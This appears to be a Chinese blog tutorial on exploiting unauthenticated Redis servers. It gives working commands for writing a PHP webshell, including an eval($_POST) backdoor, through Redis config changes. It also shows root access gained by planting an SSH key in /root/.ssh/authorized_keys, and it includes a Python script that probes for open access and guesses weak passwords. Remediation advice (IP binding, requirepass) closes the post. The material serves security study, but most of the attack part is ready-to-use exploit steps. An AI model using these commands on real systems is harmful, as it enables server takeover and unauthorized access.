zoukankan      html  css  js  c++  java
  • Redis 未授权访问漏洞(附Python脚本)

    0x01 环境搭建

    #下载并安装
    cd /tmp
    wget http://download.redis.io/releases/redis-2.8.17.tar.gz
    tar xzf redis-2.8.17.tar.gz
    cd redis-2.8.17
    make
    #启动redis服务
    cd src
    ./redis-server

    启动redis服务进程后,就可以使用测试客户端程序redis-cli和redis服务交互了。 比如:

    root@kali:/tmp/redis-2.8.17/src# ./redis-cli -h 192.168.125.140
    192.168.125.140:6379> ping
    PONG
    192.168.125.140:6379>

    0x02 未授权访问漏洞测试

    使用redis客户端直接无账号成功登录redis:

    从登录的结果可以看出该redis服务对公网开放,且未启用认证。

    利用redis写webshell

    利用前提:

    1.redis未授权 能redis-cli连上

    2.开了web并且知道路径(如利用phpinfo)

    我们可以将dir设置为一个目录a,而dbfilename为文件名b,再执行save或bgsave,则我们就可以写入一个路径为a/b的任意文件:

    config set dir /home/wwwroot/default/
    config set dbfilename redis.php
    set webshell "<?php phpinfo(); ?>"
    save

    当数据库过大时,redis写shell的小技巧:

    <?php 
    set_time_limit(0);
    $fp=fopen('wtf.php','w');
    fwrite($fp,'<?php @eval($_POST["mmbns233"]);?>');
    exit();
    ?>

    利用"公私钥"认证获取root权限

     ssh免密码配置

    ssh-keygen -t rsa -P ''     #生成公钥/私钥对                           
    cd /root/.ssh/
    (echo -e "
    
    "; cat id_rsa.pub; echo -e "
    
    ") > foo.txt  #将公钥写入 foo.txt 文件
    连接 Redis 写入文件
    cat foo.txt | ./redis-cli -h 192.168.125.140  -x set crackit
    ./redis-cli -h 192.168.125.140
    config set dir /root/.ssh/
    config get dir
    config set dbfilename "authorized_keys"
    save

    利用私钥成功登录redis服务器

    0x03 Pyhton脚本自动化测试

    可用来测试是否存在未授权或弱口令的情况

    #! /usr/bin/env python
    # _*_  coding:utf-8 _*_
    import socket
    import sys
    PASSWORD_DIC=['redis','root','oracle','password','p@aaw0rd','abc123!','123456','admin']
    def check(ip, port, timeout):
        try:
            socket.setdefaulttimeout(timeout)
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.connect((ip, int(port)))
            s.send("INFO
    ")
            result = s.recv(1024)
            if "redis_version" in result:
                return u"未授权访问"
            elif "Authentication" in result:
                for pass_ in PASSWORD_DIC:
                    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                    s.connect((ip, int(port)))
                    s.send("AUTH %s
    " %(pass_))
                    result = s.recv(1024)
                    if '+OK' in result:
                        return u"存在弱口令,密码:%s" % (pass_)
        except Exception, e:
            pass
    if __name__ == '__main__':
        ip=sys.argv[1]
        port=sys.argv[2]
        print check(ip,port, timeout=10)

    Redis测试:

    0x03 解决方案

    1、比较安全的办法是采用绑定IP的方式来进行控制。

     请在redis.conf文件找到如下配置

    # If you want you can bind a single interface, if the bind option is not
    # specified all the interfaces will listen for incoming connections.
    #
    # bind 127.0.0.1

    把# bind 127.0.0.1前面的 注释#号去掉,然后把127.0.0.1改成你允许访问你的redis服务器的ip地址,表示只允许该ip进行访问,这种情况下,我们在启动redis服务器的时候不能再用:redis-server,改为:redis-server path/redis.conf 即在启动的时候指定需要加载的配置文件,其中path/是你上面修改的redis配置文件所在目录,这个方法有一点不太好,我难免有多台机器访问一个redis服务。

    2、设置密码,以提供远程登陆

    打开redis.conf配置文件,找到requirepass,然后修改如下:

    requirepass yourpassword
    yourpassword就是redis验证密码,设置密码以后发现可以登陆,但是无法执行命令了。
    
    命令如下:
    redis-cli -h yourIp -p yourPort//启动redis客户端,并连接服务器
    keys * //输出服务器中的所有key
    报错如下
    (error) ERR operation not permitted
    
    这时候你可以用授权命令进行授权,就不报错了
    
    命令如下:
    auth youpassword

    关于我:一个网络安全爱好者,致力于分享原创高质量干货,欢迎关注我的个人微信公众号:Bypass--,浏览更多精彩文章。

    参考文章:

    Redis 安装 http://www.runoob.com/redis/redis-install.html

    Redis未授权访问漏洞  http://blog.csdn.net/Hu_wen/article/details/55189777?locationNum=15&fps=1

    Redis 未授权访问配合 SSH key 文件利用分析  http://blog.knownsec.com/2015/11/analysis-of-redis-unauthorized-of-expolit/

    Redis未授权访问漏洞利用姿势 http://www.jianshu.com/p/e550628ba1bc

  • 相关阅读:
    Centos 卸载 MySQL
    Kafka体系架构、命令、Go案例
    Go 平滑重启(优雅重启)
    etcd集群数据迁移至新集群
    ubuntu 20.04使用TLSv1
    mybatis拦截器对SQL处理,数据权限逻辑控制
    java敏感字查找和替换
    SpringBoot自定义validation验证
    java使用druid解析器解析SQL语句
    国产数据库人大金仓 KingbaseES V8 R2 在 x86_64 Linux 安装过程
  • 原文地址:https://www.cnblogs.com/xiaozi/p/7568272.html
Copyright © 2011-2022 走看看